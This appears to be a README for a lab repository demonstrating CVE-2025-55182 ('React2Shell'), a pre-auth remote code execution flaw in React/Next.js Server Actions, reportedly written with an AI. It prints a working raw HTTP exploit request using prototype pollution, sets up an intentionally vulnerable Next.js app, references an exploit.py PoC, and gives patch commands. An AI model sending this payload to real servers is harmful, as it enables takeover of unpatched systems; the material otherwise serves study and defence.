
Hemos escrito y probado una muestra para la vulnerabilidad CVE-2025-55182 junto con IA.
IA utilizada: Claude Opus 4.5 ⚠️ Advertencia: este entorno debe utilizarse únicamente con fines educativos y de investigación.
| Elemento | Descripción |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Nombre | React2Shell |
| CVSS | 10.0 (Critical) |
| Tipo | Pre-Auth Remote Code Execution |
| Causa | Contaminación de prototipos durante la deserialización del protocolo Flight |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action 헤더 → Server Action 트리거 │
│ 2. multipart 페이로드 → Flight 프로토콜 역직렬화 │
│ 3. Fake Chunk 객체의 then() 메서드 호출 │
│ 4. __proto__ 참조 → 프로토타입 오염 │
│ 5. Function 생성자 주입 → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
Elementos clave:
Next-Action dispara Server Actionthen para comportamiento tipo promesa$@0Function a través de __proto__:thencd vulnerable-app
# 의존성 설치
npm install
# 개발 서버 시작
npm run dev
Accede en http://localhost:3000
react-rce/
├── README.md
├── vulnerable-app/ # 취약한 Next.js 앱
│ ├── package.json # Next.js 15.0.3 (취약 버전)
│ └── app/
│ ├── page.js # UI (CVE 정보 + RCE 시연)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # 공격 도구 (선택)
└── exploit.py # CVE-2025-55182 PoC
# 패치 버전으로 업그레이드
npm install [email protected] [email protected] [email protected]